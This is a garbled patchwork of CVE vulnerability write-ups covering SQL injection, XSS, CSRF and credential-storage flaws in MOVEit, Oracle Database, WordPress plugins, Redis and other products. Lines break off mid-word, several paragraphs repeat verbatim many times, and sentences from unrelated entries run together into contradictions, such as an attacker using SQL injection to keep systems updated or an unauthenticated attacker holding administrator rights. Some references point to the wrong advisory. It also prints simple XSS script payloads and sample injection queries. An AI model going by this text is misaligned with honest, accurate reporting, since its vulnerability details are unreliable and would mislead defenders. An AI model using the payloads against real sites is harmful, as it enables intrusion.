onfiguration files to insert malicious SQL code. If successful, the attacker could use this SQL injection to ensure that their systems are up to date with the latest security updates and monitor any security advisories. View the detailed announcement and recommendations for mitigating the vulnerability: <https://www.esri.com/arcgis-insights-security-patches-for-arcgis-insights-2022-1-are-now-available/>. Users of affected versions

requires significant effort and a complex understanding of the system's SQL handling to create the malicious configuration of the back-end database and related systems.

<https://www.esri.com/arcgis-insights-security-patches-for-arcgis-insights-2022-1-are-now-available/>). Users of affected versions

This SQL syntax intended to alter the intended SQL query. For example, if there's a field where a user id is

vulnerability allows an attacker to collect sensitive information from the database.

This vulnerability could potentially gain unauthorized access to the database and retrieve sensitive information.

<https://www.ibm.com/support/pages/node/6999351>.

the database using common or default passwords, exploiting the weak password policy. Once in, they can steal property, or other confidential data, which may have severe consequences for the affected organization. It allows a low privileged attacker with Create Session and Create Procedure privileges and network ac

essfully, does not affect the confidentiality or availability of data. The CVSS Vector that was used to derive

This could exploit the vulnerability in the Java VM of an Oracle Database Server. The attacker could send a query to the principle of least privilege, ensuring that users are granted only the access rights they need to exploit. Necessary patches and following best security practices rather than delving into the methods of how such vulnerabilities work. Oracle Database versions 12.1.3 to 21.10, and is considered easily exploitable, allowing a high privileged attacker with SYSDBA privi

ileges and network access via Oracle Net.

Unified Audit within an Oracle Database.

This using Oracle Net to manipulate audit records, such as erasing traces of unauthorized access or creating fake audit entries. This includes this vulnerability. Additionally, organizations should ensure that only trusted users are granted SYSDBA privileges. Oracle Database versions 12.1.3-21.10 are vulnerable. This vulnerability allows an unauthenticated attacker with network access to exploit it. The overall impact is relatively limited as there is no confidentiality or availability impact.

Complexity (AC:H), requires no privileges (PR:N), no user interaction (UI:N), and has no scope change (S:U),

rability and any available patches or workarounds.

ption. By sending specially crafted packets or commands via Oracle Net, the attacker may manipulate i
nourage users and administrators to apply necessary security patches or follow the vendor's remediat
of the plugin, where a specially crafted SQL query sent to the 'product_one_img' parameter could pot

this can result in SQL code execution, potentially compromising the database by retrieving, modifying,
[action-vulnerability-leothemes-ap-page-builder](#)

usiness data, or any other data stored by the vulnerable plugin. Breach of such information can lead to

1.2, as this vulnerability affects versions lower than 1.7.8.2. Users should check with the plugin's develo
designed to manipulate the SQL query to return all the records from the database or cause other type

File Manager included with the plugin.

get server. Since the archive's location and name are predictable, the attacker can potentially download
. This could lead to the leakage of sensitive files, such as the WordPress configuration files containing c

/ - WPScan Vulnerability Database Entry: <https://wpscan.com/vulnerability/859c6e7e-2381-4d93-a526>
en the email. When the admin interacts with it, a CSRF attack is triggered which abuses the Tiny File N
e) queries without proper sanitization of user-supplied data, leading to SQL injection.

l_` object with an unsanitized `label_` parameter provided by the user. This leads to SQL injection in t

ver/security/advisories/GHSA-2j3f-f696-7rgj

application logic, retrieving or manipulating critical data in the database. The attacker could extract or

ng userLabel = httpRequest.getParameter('label');String hqlQuery = 'FROM BIObject WHERE label = ' +
/ involves the clear text storage of LDAP user passwords in the system's database, as well as the unenc
clear text in the database and passed unencrypted when logging in.

longer stored in clear text within the database and are not passed unencrypted during login process
attacker could easily retrieve the passwords of all LDAP users. Additionally, an attacker could potentia
g marking the patched version, and the official GitHub security advisories page. These resources will c

executing in Redis can cause heap corruption, which may lead to remote code execution. This vulnerab

sories/GHSA-p8x2-9v9q-c838- Fedora Project's package announcement archives: <https://lists.fedoraproj.org/pipermail/announce/2018-June/000008.html>
library. Once executed, the script could corrupt the heap, potentially allowing the attacker to remotely
ty occurs when an attacker is able to inject malicious scripts into a web application, which then saves t
ery user that visits the compromised page. The attacker can execute scripts in the context of the victim

list provided an announcement which can be found at '<https://lists.debian.org/debian-lts-announce/>'. The application then stores this script in the database. When other users, including administrators, view the page, the application receives a comment from a user and stores it in the database. This is done without proper sanitization (SQL Injection). This allows an unauthenticated attacker to extract sensitive information from the database.

An unauthenticated remote attacker can manipulate SQL queries by injecting malicious SQL commands that can modify, delete or retrieve data. If the code does not properly sanitize the input, this can lead to a query such as `SELECT * FROM users WHERE name = 'admin';`. To prevent this attack, they would identify inputs that are not properly sanitized and use them to manipulate the query. For example, in the case of the Sonicwall-GMS-9.9.9320-Remote-Code-Execution.html exploit, the attacker would need to identify the integrity, availability, and confidentiality of data, but we would need more specific details or a published CVSS score to determine the severity.

<https://github.com/Wordfence/Wordfence-Threat-Intelligence/pull/2923668> /wp-easycart/trunk/admin/inc/wp_easycart_admin_table.php and the Wordfence threat intelligence module. An unauthenticated remote attacker can use the administrative interface to inject a crafted SQL query. This query could then be executed by the site's database.

Decidim uses for database collection filtering, which could allow an unauthenticated remote attacker to filter results based on specific criteria.

For example, data from the user table.

If data attributes and associations, the attacker might use this feature to enumerate through tables and relationships, or the developers themselves who are regularly auditing and updating their systems.

<https://github.com/decidim/decidim/security/advisories/GHSA-jm79-9pm4-vrw9> - https://github.com/decidim/decidim/security/advisor

This could further undermine the trust in the Decidim platform and might lead to compliance issues for the organization. It can occur when extracting key names from a command and its arguments, possibly leading to race conditions.

A Redis security advisory at <https://github.com/redis/redis/security/advisories/GHSA-4cf8-h9gq-xpx> was released. An unauthenticated user with specific ACL rules matching key names could exploit the vulnerability by issuing commands. It is important for all Redis instances running affected versions to be updated to prevent such exploits.

<https://github.com/decidim/decidim/security/advisories/GHSA-4cf8-h9gq-xpx#vulnerability>.

This form could be submitted to change the database collation settings without the administrator's knowledge. As it becomes available. Additionally, developers can implement anti-CSRF tokens and ensure that sessions are properly invalidated.

ise.

1a

ution of untrusted SQL statements related to CVE-2023-37270.

Statement that acquires the HTTP Header User-Agent by supplying malicious SQL code. This could result us link can cause an admin user to inadvertently delete a user account from the database without the Vulnerability Scoring System (CVSS) to indicate the potential impact of a vulnerability.

nd HackersNotes at <https://www.hackersnotes.com/blog/pentest/online-examination-system-project>. If an user with sufficient privileges clicks on this link, the request goes through with the admin's credentials, unintentionally executing the provided SQL query. The code is as follows:

```
emailToDelete = $_GET['deleteEmail']; // SQL query to delete the user account with the provided email address
```

This vulnerability is due to cross-site scripting (XSS) due to improper handling of user input, allowing a specially-crafted HTTP request to inject malicious code into the database. If the server processes this request without proper input validation and encoding, it can lead to a variety of malicious activities, including session hijacking, redirecting users to malicious websites, and more. It is important to apply security patches. Following best practices, input validation and output encoding should also be implemented to prevent such attacks.

CVE-2023-1704.

This vulnerability is due to a lack of proper input validation and encoding. A XSS exploit bypasses the same-origin policy, a critical security mechanism that isolates different web pages. This might result in unauthorized access to user sessions, disclosure of sensitive information, and potentially other malicious activities.

This vulnerability is present in the file `requestHandlers.js`.

It allows an attacker to perform actions on behalf of the user without their consent.

This vulnerability is present in the file `requestHandlers.js`. It is triggered by the `detail_device` function. For example, if an user sends a GET request to `/path/to/detail_device?name=%3Cscript%3Ealert(1)%3C/script%`, the server will execute the `detail_device` function with the provided input. The function does not properly validate or encode the input, leading to a XSS vulnerability. To mitigate this risk, it is recommended to use Content Security Policy (CSP) to reduce the risk of XSS, and to use prepared statements or parameterized queries to prevent arbitrary SQL commands against the system's database.

This vulnerability is present in the file `requestHandlers.js`. It is triggered by the `detail_device` function. For example, if an user sends a GET request to `/path/to/detail_device?name=%3Cscript%3Ealert(1)%3C/script%`, the server will execute the `detail_device` function with the provided input. The function does not properly validate or encode the input, leading to a XSS vulnerability. To mitigate this risk, it is recommended to use Content Security Policy (CSP) to reduce the risk of XSS, and to use prepared statements or parameterized queries to prevent arbitrary SQL commands against the system's database.

This vulnerability is present in the file `requestHandlers.js`. It is triggered by the `detail_device` function. For example, if an user sends a GET request to `/path/to/detail_device?name=%3Cscript%3Ealert(1)%3C/script%`, the server will execute the `detail_device` function with the provided input. The function does not properly validate or encode the input, leading to a XSS vulnerability. To mitigate this risk, it is recommended to use Content Security Policy (CSP) to reduce the risk of XSS, and to use prepared statements or parameterized queries to prevent arbitrary SQL commands against the system's database.

This vulnerability is present in the file `requestHandlers.js`. It is triggered by the `detail_device` function. For example, if an user sends a GET request to `/path/to/detail_device?name=%3Cscript%3Ealert(1)%3C/script%`, the server will execute the `detail_device` function with the provided input. The function does not properly validate or encode the input, leading to a XSS vulnerability. To mitigate this risk, it is recommended to use Content Security Policy (CSP) to reduce the risk of XSS, and to use prepared statements or parameterized queries to prevent arbitrary SQL commands against the system's database.

This vulnerability is present in the file `requestHandlers.js`. It is triggered by the `detail_device` function. For example, if an user sends a GET request to `/path/to/detail_device?name=%3Cscript%3Ealert(1)%3C/script%`, the server will execute the `detail_device` function with the provided input. The function does not properly validate or encode the input, leading to a XSS vulnerability. To mitigate this risk, it is recommended to use Content Security Policy (CSP) to reduce the risk of XSS, and to use prepared statements or parameterized queries to prevent arbitrary SQL commands against the system's database.

This vulnerability is present in the file `requestHandlers.js`. It is triggered by the `detail_device` function. For example, if an user sends a GET request to `/path/to/detail_device?name=%3Cscript%3Ealert(1)%3C/script%`, the server will execute the `detail_device` function with the provided input. The function does not properly validate or encode the input, leading to a XSS vulnerability. To mitigate this risk, it is recommended to use Content Security Policy (CSP) to reduce the risk of XSS, and to use prepared statements or parameterized queries to prevent arbitrary SQL commands against the system's database.

modification and disclosure of MOVEit database content.

OVEit Transfer application endpoint. The malicious SQL commands can manipulate the database to eit 1), 2021.0.9 (13.0.9), 2021.1.7 (13.1.7), 2022.0.7 (14.0.7), 2022.1.8 (14.1.8), or 2023.0.4 (15.0.4) as app

-2023' and 'https://www.progress.com/moveit'.

121.0.9 (13.0.9), 2021.1.7 (13.1.7), 2022.0.7 (14.0.7), 2022.1.8 (14.1.8), or 2023.0.4 (15.0.4) based on the file, and submitting it through some part of the MOVEit Transfer web application's interface. If the application, leading to remote code execution.

OpenTSDB `2.4.2` release.

I `mygnuplot.sh` as a temporary workaround.

.com/OpenTSDB/opensdb/commit/07c4641471c6f5c2ab5aab615969e97211eb50d9- https://github.com

ly crafted HTTP request containing the attacker's payload can be used to inject arbitrary commands into the system.

This is through the "/file" endpoint when the server is running on the default port 5080.

thereby gaining sensitive information about the configured databases.

Further exploit the system by obtaining useful information about its structure and other security measures.

Vulnerable "/file" endpoint, possibly by configuring the webserver's settings to disable directory browsing, could lead to multiple SQL Injection vulnerabilities.

ata from the database. In severe cases, it allows an attacker to execute administrative operations on the system, which incorrectly processes them without sufficient input sanitization, allowing the SQL code to trigger SQL Injection vulnerabilities.

28ffe.

I not sanitized properly by the application: ``php<?php\$query = "SELECT * FROM some_table WHERE column = '\$value'" and then submit specially crafted SQL commands as part of their input. For example, the attacker might encounter 1 suffer from insufficient controls on the storage of backup files, enabling unauthenticated attackers to trigger SQL Injection vulnerabilities.

orized individuals could then gain access to these files, which might contain sensitive information, including user database credentials. It's also recommended to monitor for any security advisories or updates provided by the plugin developer. Detailed information and updates are available at - https://plugins.trac.wordpress.org/ . The backup files that might have been left accidentally due to the plugin's failure to delete them after a backup process could provide unauthorized access to the user database, thereby exposing sensitive information like md5 hashes of passwords, user names, and email addresses.

ts.

This issue, so updating the software is the recommended course of action.

I potentially obtain md5 hashed passwords, usernames, emails, and phone numbers. The attacker could also obtain negative authorization decisions based on the results of a `LookupResources` request in version 1.2 or earlier. This could be exploited to create incorrect access control lists, which could either deny access to legitimate users or grant access to unauthorized subjects, potentially resulting in unauthorized data access, data modification, and breaching of data integrity.

The vulnerability was fixed in version 1.3. It is recommended to avoid using the `LookupResources` function for negative authorization decisions until they can apply a patch. A detailed explanation of the vulnerability and how to fix it can be found at <https://github.com/authzed/spicedb/security/advisories/GHSA-m54h-5x5f-5m6r>.

Attackers can exploit this vulnerability by sending a crafted SQL query to the database. For example, an attacker could craft a query like `SELECT * FROM users WHERE email = 'admin@example.com' AND password = MD5('password')` to authenticate as an administrator. This could lead to security issues where unauthorized users are given access to sensitive data or perform unauthorized actions.

The vulnerability was fixed in version 4.0.1. An attacker with knowledge of this vulnerability can still affect versions up to and including 4.0.1 of the plugin.

An attacker can exploit this vulnerability by sending a crafted SQL query to the database, which could lead to extraction of sensitive information, granting to unauthorized access to database contents or manipulation of database data.

This vulnerability compromise of the website's security.

<https://www.wordfence.com/threat-intel/vulnerabilities/id/30aab1af-a78f-4bac-b3c5-30ea8fm.php2>.

This vulnerability allows a remote attacker to bypass authentication and manipulate the SQL query executed by the application's backend database to cause a time-based blind SQL injection attack. For example, an attacker could craft a URL like `?date_from=2023-01-01&date_to=2023-01-01&id_product=10` and include sensitive information such as user credentials, personal information, credit card details, etc. It is recommended to validate and sanitize all input fields to prevent SQL injection attacks, using prepared statements and parameterized queries. A detailed explanation of the vulnerability and how to fix it can be found at <https://github.com/authzed/spicedb/security/advisories/GHSA-m54h-5x5f-5m6r>.

<https://github.com/dpgaspar/Flask-AppBuilder/pull/2045>. When this data is improperly handled, it could result in an error message from the database engine, which could be used by an attacker to manipulate the cache size by sending queries in a specific order, allowing the configured maximum size to be exceeded.

This vulnerability allows an attacker to manipulate the cache size by sending queries in a specific order, allowing the configured maximum size to be exceeded. The system then attempts to keep memory use below the configured limit. However, due to the CVE-2023-2147 vulnerability, the system may end up cleaning the cache less frequently than intended, leading to cache overflow, resource exhaustion, and potential denial of service (DoS) as the system struggles to manage the increased memory usage.

Attackers can exploit this vulnerability by sending a crafted SQL query to the database, which could lead to extraction of sensitive information, granting to unauthorized access to database contents or manipulation of database data.

; the administrator could potentially retrieve sensitive information from the user's vault that was not |

|factor authentication, without the need for re-authentication within an already authenticated KeePa
made without re-entering the master password or providing second-factor authentication, which shoul

//github.com/keepassxreboot/keepassxc/issues/9391', the KeePassXC FAQ at '<https://keepassxc.org/>'
local attacker. This comment is likely based on the assumption that if a local attacker has access to ar
open the KeePassXC application and navigate to the database settings without needing to know the m
ion and does not require authentication, which could allow an attacker to intercept FINS messages to r
-series CPU Units, SYSMAC NX102-series CPU Units, and SYSMAC NX7 Database Connection CPU Units
f authentication required for communication, which means that unauthorized users can send commar

CISA) advisories, and OMRON's own product vulnerability notices in both Japanese and English.
nd availability of the Factory Automation (FA) system, and potentially gain access to system informatio

:o MOVEit Transfer's database. This could result in the attacker being able to modify and disclose conte

re of the database content, thereby compromising the confidentiality, integrity, and availability of the
2021.0.8 (13.0.8), 2021.1.6 (13.1.6), 2022.0.6 (14.0.6), 2022.1.7 (14.1.7), and 2023.0.3 (15.0.3). Users :

erability-15June2023- CISA Alert: <https://www.cisa.gov/news-events/alerts/2023/06/15/progress-soft>n. The attacker could potentially send this payload through a web request to the affected application e
of MOVEit Transfer should upgrade to these versions to protect against this SQL injection vulnerability.
o inject arbitrary SQL commands to access, modify or delete data in the database.

:he login function into returning a valid result without checking the password, granting the attacker un

potential system compromise if the database has high-level permissions.

ash of the password instead of the cleartext password. This undermines the security benefit of passwc

s CVE at '<https://www.redteam-pentesting.de/en/advisories/rt-sa-2022-004/-starface-authentication->is security flaw effectively negates the protection that hashing passwords is supposed to offer in the ev
sswords in case of a database compromise, allowing authentication using those hashes directly under
ash, they could then use it to authenticate with the STARFACE system's web interface or REST API, with
r be allowed as a valid authentication credential. Furthermore, system administrators should apply an
strator cookies, potentially leading to a privilege escalation scenario.

would give them administrative privileges in the FactoryTalk Policy Manager database, where they cou
ld be used to make malicious changes that would become active when a legitimate user deploys a se
FactoryTalk System Services is deployed.

.39683.

ant themselves administrative privileges. Once they have these elevated privileges, they could sabotage

rable-password-vulnerability.

ng on the privileges associated with the recovered password, this could lead to unauthorized actions v

on if a contact file exists.

be82f51f68d738cce205f4ce5b469ef42ed82d9e.

ne issue.

it the security flaw to perform a database dump without requiring authentication, potentially gaining :

: embedded functions of the database that could affect the server. These embedded functions can be I

ase with the embedded functions susceptible to the vulnerability. Then, they could call these functions would like relate to improper access controls or validation mechanisms within the embedded function which can lead to unauthorized retrieval of information persisted by the system. ches, and potential manipulation or corruption of data within the system.

documents at '<https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b>'. This exploitation could enable the attacker to gain access to and potentially exfiltrate confidential dat lly, without specific details about the MDS COMPARE TOOL's implementation, we cannot provide a pre

ConnectionPool or HikariCPConnectionPool to use a malicious Database URL with the H2 JDBC driver to

.1.6 (14.1.6), and 2023.0.2 (15.0.2). The vulnerability is related to SQL injection, which could allow an u
n manipulate SQL queries and potentially modify and disclose content from MOVEit's database. The ex
update to these versions or later to mitigate the risk associated with this vulnerability.

<https://www.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-CVE-2023-35036-June-9-2023>.
aches, data corruption, or loss of data integrity. This could have severe consequences depending on th
antitative measure of its severity at a later time.

app's database files.

or the application.

.md

application as intended.

al methods to modify or damage the database files of the application. This would render the applicatio

use database files, the attacker could escalate their privileges within the application or the device envir

ware might browse the file system, locate the database files used by CrossX v.1.15.3, and use a vulne
tampering with the database files.

The malicious app could then corrupt or modify these files in such a way that the FlightAware app can
However, an exploit would typically involve an unauthorized app using Android's file system API to loc
its, such as downloading apps only from trusted sources like the Google Play Store and paying attentio
ight apply incorrect policies in scenarios where role-specific policies are being utilized, and a query is r
to perform unauthorized reads or modifications of data that are supposed to be restricted based on th
c scenario might involve a security definer function or a situation where a query is initially prepared fo
t could lead to the vulnerability being exploited: Imagine you have a table 'sensitive_data' with a secur
isting security definer functions with higher privileges to plan a query. Then, while executing necessari

ory: <https://security.netapp.com/advisory/ntap-20230706-0006/> - PostgreSQL Security Page: <https://w>

cute arbitrary code. Specifically, schema_element could defeat protective search_path changes, leadin

ty advisory page (<https://security.netapp.com/advisory/ntap-20230706-0006/>), and the PostgreSQL SQL code, leading to unauthorized data access, data modification, or other impacts on the database's integrity. This vulnerability arises from the way PostgreSQL handles certain database calls in relation to search_path settings. The exact method of exploitation is not fully detailed in the advisory.

This mechanism that relies on an insecure random number generator to create the private key. This could potentially lead to security issues, such as SQL injection attacks.

-driver-June-2023- <https://progress.com>

This backdoor mechanism uses an insecure random number generator for generating the private key, which may occur when using Oracle Advanced Security (OAS) encryption.

This vulnerability arises from insufficient escaping of the user-supplied 'orderby' and 'order by' clauses in certain queries. With this capability, the attacker could potentially decrypt the communication between the Progress driver and the database, including version 3.3.17. The vulnerability arises from insufficient escaping of the user-supplied 'orderby' and 'order by' clauses in certain queries. This allows the attacker to perform a SQL Injection attack, potentially leading to the unauthorized disclosure of sensitive data.

To address this vulnerability, users should update their WordPress plugin repository or contact the plugin developers for updates and patches to address this vulnerability. Exploiting this vulnerability would not be possible if the user has the necessary prerequisites, such as being able to modify the database schema or having administrative privileges.

This vulnerability was discovered in the WP Replicate Post plugin, which is used to replicate posts between different WordPress sites. The vulnerability stems from insufficient escaping of user-supplied parameters and a lack of preparation in the plugin's code.

d.

This vulnerability can be exploited by an attacker to execute arbitrary SQL statements on the database. An example of a vulnerable code snippet might look like the following (simplified for readability):

```
query = "SELECT * FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC LIMIT 10";  
$stmt = $conn->prepare($query);  
$stmt->execute();  
$results = $stmt->get_results();
```

This injection is time-based, so an attacker may send crafted queries to the database to exploit it. It is recommended to employ defensive programming practices, such as using prepared statements with parameterized queries. Here are some reference links:- Plugin's Code Snapshot: https://plugins.trac.wordpress.org/browser/wp-replicate/trunk/wp-replicate.php?rev=289651&path=%2Ftrunk&old=289651&new=289651&action=refresh&sfph_email=&sfph_ma

This vulnerability can be exploited by an attacker to execute arbitrary SQL statements on the database. An example of a vulnerable code snippet might look like the following (simplified for readability):

```
query = "SELECT * FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC LIMIT 10";  
$stmt = $conn->prepare($query);  
$stmt->execute();  
$results = $stmt->get_results();
```

This injection is time-based, so an attacker may send crafted queries to the database to exploit it. It is recommended to employ defensive programming practices, such as using prepared statements with parameterized queries. Here are some reference links:- Plugin's Code Snapshot: https://plugins.trac.wordpress.org/browser/wp-replicate/trunk/wp-replicate.php?rev=289651&path=%2Ftrunk&old=289651&new=289651&action=refresh&sfph_email=&sfph_ma

This vulnerability can be exploited by an attacker to execute arbitrary SQL statements on the database. An example of a vulnerable code snippet might look like the following (simplified for readability):

```
query = "SELECT * FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC LIMIT 10";  
$stmt = $conn->prepare($query);  
$stmt->execute();  
$results = $stmt->get_results();
```

This injection is time-based, so an attacker may send crafted queries to the database to exploit it. It is recommended to employ defensive programming practices, such as using prepared statements with parameterized queries. Here are some reference links:- Plugin's Code Snapshot: https://plugins.trac.wordpress.org/browser/wp-replicate/trunk/wp-replicate.php?rev=289651&path=%2Ftrunk&old=289651&new=289651&action=refresh&sfph_email=&sfph_ma

This vulnerability can be exploited by an attacker to execute arbitrary SQL statements on the database. An example of a vulnerable code snippet might look like the following (simplified for readability):

```
query = "SELECT * FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC LIMIT 10";  
$stmt = $conn->prepare($query);  
$stmt->execute();  
$results = $stmt->get_results();
```

This injection is time-based, so an attacker may send crafted queries to the database to exploit it. It is recommended to employ defensive programming practices, such as using prepared statements with parameterized queries. Here are some reference links:- Plugin's Code Snapshot: https://plugins.trac.wordpress.org/browser/wp-replicate/trunk/wp-replicate.php?rev=289651&path=%2Ftrunk&old=289651&new=289651&action=refresh&sfph_email=&sfph_ma

This vulnerability can be exploited by an attacker to execute arbitrary SQL statements on the database. An example of a vulnerable code snippet might look like the following (simplified for readability):

```
query = "SELECT * FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC LIMIT 10";  
$stmt = $conn->prepare($query);  
$stmt->execute();  
$results = $stmt->get_results();
```

This injection is time-based, so an attacker may send crafted queries to the database to exploit it. It is recommended to employ defensive programming practices, such as using prepared statements with parameterized queries. Here are some reference links:- Plugin's Code Snapshot: https://plugins.trac.wordpress.org/browser/wp-replicate/trunk/wp-replicate.php?rev=289651&path=%2Ftrunk&old=289651&new=289651&action=refresh&sfph_email=&sfph_ma

data, which might lead to further attacks such as identity theft, unauthorized access, or data breaches. It is essential to keep all WordPress plugins up to date to mitigate security risks.

Wordfence's threat intel page.

An unauthenticated attacker with administrator permissions to perform SQL Injection by exploiting insufficient escaping. An attacker could manipulate input fields related to 'objects' and 'tags' parameters, appending malicious SQL

credentials, and configuration details, potentially leading to further site compromise, data breaches, and user enumeration. A report by Wordfence at <https://www.wordfence.com/threat-intel/vulnerabilities/2930122> and a report by Wordfence at <https://www.wordfence.com/threat-intel/vulnerabilities/2907471> suggests that an update was made to the plugin to mitigate the XSS vulnerability. If no update is available, they should consider disabling the plugin until a fix is released, or alternatively

A submission id is present in the query string.

This is a significant detail, which increases the complexity of the exploit.

An attacker then crafts a link that includes a specific form entry id and persuades the victim to click on it. When

the victim clicks on the link, the submission id is included in the query string.

user permissions and monitor for any unusual or unauthorized submissions to their contact forms.

The vulnerability affects versions up to and including 3.3.0. It enables authenticated attackers, with at least contributor-level privileges, to craft a malicious payload that will be executed when a victim visits a page containing the shortcode, provided the submission id is in the query string. This can be used to perform various attacks, such as account hijacking or data theft.

A report by Wordfence at <https://www.wordfence.com/threat-intel/vulnerabilities/2907471> suggests that an update was made to the plugin to mitigate the XSS vulnerability. The update changes the 'mf_last_name' shortcode connected to a form they've submitted with malicious JavaScript code. The

The 'mf_first_name' shortcode, which echoes back unescaped form submissions in versions up to and including 3.3.0, can be exploited to craft a payload that will be executed when a victim submits a form. This can be done by crafting a payload that includes the submission id in the query string and sending it to the contact form.

An attacker can include the form entry id as part of the query string.

It is important to note that the plugin's code via the provided URLs can show the fixes implemented: <https://plugins.trac.wordpress.org/changeset/2907471/>. In the plugin's code, the 'mf_first_name' parameter is taken directly from the URL's query string (via `\$_GET['mf_first_name']`), which is then echoed without proper escaping. For example:

```
[mf id="1"]"><script>alert('XSS')</script><!--Here, the user's input is echoed without proper escaping-->
```

An attacker can use this vulnerability to inject arbitrary web scripts into a page, which will execute when a victim interacts with the page. For example, if an attacker crafts a link with the 'mf_id' parameter set to 1 and the 'mf_first_name' parameter set to a payload like '<script>alert("XSS")</script>', the script will be executed when a victim views the page.

Administrators should consider disabling the plugin temporarily or implementing a plugin-specific filter to prevent users from injecting arbitrary web scripts into the page. It is also recommended to keep the plugin updated to the latest version, as new vulnerabilities may be discovered and fixed.

<https://plugins.trac.wordpress.org/browser/metform/trunk/base/shortcode.php?rev=2845078>' and the WordPress security nonce in the StmListingSingleLayout::import_new_layout method. This vulnerability affects users who can take full control of the affected website.

ility.

https://plugins.trac.wordpress.org/changeset?sf_email=&sfph_email=&reponame=&old=2456786%40ulisting.com&new=2456787%40ulisting.com

or updates and apply security patches to all WordPress plugins and themes.

ated users to update any WordPress option in the database through the function update_shipment_s/ooCommerce plugin to change any option in the WordPress database. This could lead to a range of is:

bility/' and '<https://www.wordfence.com/threat-intel/vulnerabilities/id/4174b47a-75d0-4ada-bd4d-e>' site to phishing or malware distribution sites, or changing the site's content. Attackers could also acc administrators should consider disabling the plugin until a patch is released or applying security measi validation, and a missing security nonce in the stm_update_email_data AJAX action. It affects versior

dation, and the absence of a security nonce.

ermissions, potentially leading to site defacement or unauthorized administrative access.

<https://www.wordfence.com/threat-intel/vulnerabilities/id/1814537d-8307-4d1f-86c8-801519172be5?source=cve>

ensure they haven't been maliciously altered following a potential exploit. A user with low-level permissions and lacks a security nonce, an unauthenticated attacker could bypass authorization of the SQL query, thus allowing unauthenticated attackers to perform SQL Injection attacks. Th information from the database associated with the WordPress site using the uListing plugin.

erts can be found at the following URLs: <https://blog.nintechnet.com/wordpress-ulisting-plugin-fixed-n> site with the uListing plugin installed. This request would include a modified 'listing_id' parameter cor sensitive information from the site's database, manipulate data, escalate privileges, or even take over ity Database (NVD), and they rate the severity of vulnerabilities based on various factors. Since the b e.php" file specifically at the /1/api.ulisting-user/search REST-API route. The vulnerability affects versi listing plugin for WordPress. This request does not require authentication, hence an attacker can obtain used for malicious purposes like phishing attacks, spam campaigns, or even targeted attacks which cor

g to the WordPress admin dashboard, checking for updates under the 'Plugins' section, and applying a critical-vulnerabilities/', the WordPress plugins changeset page, and the Wordfence threat intelligence

deactivated users to log in. The vulnerability applies when JSON Web Tokens are used for login or if the local password database is enabled via 'password_config.enabled' and 'password_config.local'. It should ensure that deactivated users do not have passwords set to prevent unauthorized access.

those using an external password provider like LDAP. The issue does not impact these setups because t

-26c5-ppr8-f33p. This page provides details on the vulnerability, affected versions, and the patch.
password. If the Synapse server is configured to allow logins with JSON Web Tokens or if the local password is stored in plain text in the logs when displaying the database connection string. This could allow attackers who have access to known workarounds.

credentials, or through misconfigured log access permissions. Once the attacker locates the connection URL (<https://github.com/OWASP/owasp-top-10-2021/blob/main/Top%20Ten%20-%202021.md#A1-SQL-Injection>) and password to gain full privileges, leading to data breaches, alteration of sensitive data, and in a multi-step process, manipulate the application's database. This may include inferring information about the database structure (14.1.5), and 2023.0.1 (15.0.1). This encompasses the 2020.0 series, the 2019x versions, and any other query as part of the input to the web application, which could lead to execution of arbitrary SQL statements, causing integrity issues. Depending on the attacker's objectives and the data stored in the affected database, this can result in significant damage to the system.

`SQL-Injection-Remote-Code-Execution.html` and '<http://packetstormsecurity.com/files/173110/MOVE>'. If the application does not properly sanitize the input, the SQL code could be executed by the database and including 1.6.7. This flaw arises from inadequate escaping of user-supplied parameters and a lack of proper parameterization in the Web Directory Free plugin's functionality. Due to the plugin's poor handling of SQL query injection, this is a critical security issue.

ier confidential information which may be leveraged for further attacks or even data breaches.
factory-free/tags/1.6.6/search/plugin/classes/search/search_forms_manager.php#L1425 2. Wordfence'

properly handled. An example of code that might be vulnerable would look something like this: ``php\$quer... themes, utilizing WordPress security plugins, and following best security practices for user roles and permissions.

preference database. This security issue allows attackers to load malicious image URLs into the application or after it attempts to load an excessive amount of maliciously injected image URLs.

com.bn/bt21-x-bts-wallpaper-hd-4k/com.bungaakp007.bt21wallpaperoffline130920/download/12-APK
consume all available memory and crash repeatedly.

's database, which records user personal preferences. This vulnerability could be exploited by an attacker to gain unauthorized access to sensitive user information.

er can manipulate the data, causing harm, like changing personal settings or injecting malicious code th

21-x-bts-wallpaper-hd-4k/com.bungaakp007.bt21wallpaperoffline130920/download/12-APK', and on

ending an intent or using a content provider or binder to request and gain the permission to modify the database. It is about granting permissions to apps and should only download trusted apps from official app stores. For example, the BT21 x BTS Wallpaper database illegally. Upon accessing the database, it could alter app settings.

er Unicorn Wallpaper app is opened.

insertion of such data could eventually cause an Out-Of-Memory (OOM) error and result in a crash, cr

rge amounts of data containing malicious image URLs into the database. When a user opens the Glitter Unicorn Wallpaper app, it inserts large amounts of data into the database that tracks user personal preferences. This vulnerability can potentially be exploited to perform various malicious actions, such as modification of system settings, or execution of malicious operations within the context of the affected application.

recorded data, which is loaded into memory when the Glitter Unicorn Wallpaper app is opened and used by the application. This can lead to denial of service, modification of system settings, or execution of malicious operations within the context of the affected application.

[detail.md](#)

An administrative user to bypass database restrictions that are set on the query setting page and connect to a database that was not intended for user access, possibly allowing an attacker to gain unauthorized access to the database.

queries on the query setting page, and connect to a database that was not intended for user access, possibly allowing an attacker to gain unauthorized access to the database. To restrict administrative access to ensure that only trusted users are granted such privileges, the application should implement strong authentication and authorization mechanisms.

[https://www.contec.com/api/downloadlogger?download=-/media/Contec/jp/support/security-info/contec_secu](https://www.contec.com/api/downloadlogger?download=-/media/Contec/jp/support/security-info/contec_security_chs_230531_en.pdf)

this case, the score may not have been calculated or disclosed yet.

CVE-2023-28713.

Unauthorized data modification, and other security issues.

https://www.contec.com/jp/support/security-info/contec_security_chs_230531_en.pdf - <https://www.contec.com/jp/about-us/corporate-social-responsibility/corporate-social-responsibility>

is in plaintext, they could directly read the credentials without needing to decrypt them. With this information, an attacker could gain unauthorized access to the database.

CVE-2023-29745 contains structured details in the CVEs/CVE-2023-29745/CVE detail.md file. Additionally, links to further information and resources are provided.

